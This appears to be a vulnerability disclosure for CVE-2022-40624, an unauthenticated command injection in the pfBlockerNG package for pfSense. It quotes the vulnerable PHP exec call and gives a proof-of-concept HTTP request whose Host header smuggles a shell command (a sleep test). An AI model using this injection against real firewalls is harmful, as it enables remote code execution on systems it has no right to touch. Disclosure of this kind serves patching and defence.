pfBlockerNg-CVE-2022-40624

Background

pfBlockerNG is the Next Generation of pfBlocker with the following features:

Manage IPv4/v6 List Sources into 'Deny, Permit or Match' formats.
GeoIP database by MaxMind Inc. (GeoLite2 Free version).
De-Duplication, Suppression, and Reputation enhancements.
Provision to download from diverse List formats.
Advanced Integration for Proofpoint ET IQRisk IP Reputation Threat Sources.
Domain Name (DNSBL) blocking via Unbound DNS Resolver.

https://docs.netgate.com/pfsense/en/latest/packages/pfblocker.html

Affected Versions

pfBlockerNg <2.1.4_27

Vulnerability

Unauthenticated remote code execution (RCE)

The query for TLD Block section of index.php includes an unsanitized/unescaped user input d_query from the HEADER Host source into the PHP exec function sink.

exec("/usr/bin/grep -l '^{$d_query}$' /var/db/pfblockerng/dnsblalias/DNSBL_TLD", $match);

/pfblockerng/www/index.php

// Query for a TLD Block
if (empty($pfb_query)) {
	$idparts	= explode('.', $query);
	$idcnt		= (count($idparts) -1);

	for ($i=1; $i <= $idcnt; $i++) {
		$d_query = implode('.', array_slice($idparts, -$i, $i, TRUE));
		exec("/usr/bin/grep -l '^{$d_query}$' /var/db/pfblockerng/dnsblalias/DNSBL_TLD", $match);

		if (!empty($match[0])) {
			$pfb_query = 'DNSBL_TLD';
			break;
		}
	}
}

Exploitation

Requires HTTP access to pfsense web console Sample payload: ' *; sleep 5; '

POC Request:

GET /pfblockerng/www/index.php HTTP/1.1
Host: test.test2' *; sleep 5; '
Content-Length: 2

Inspiration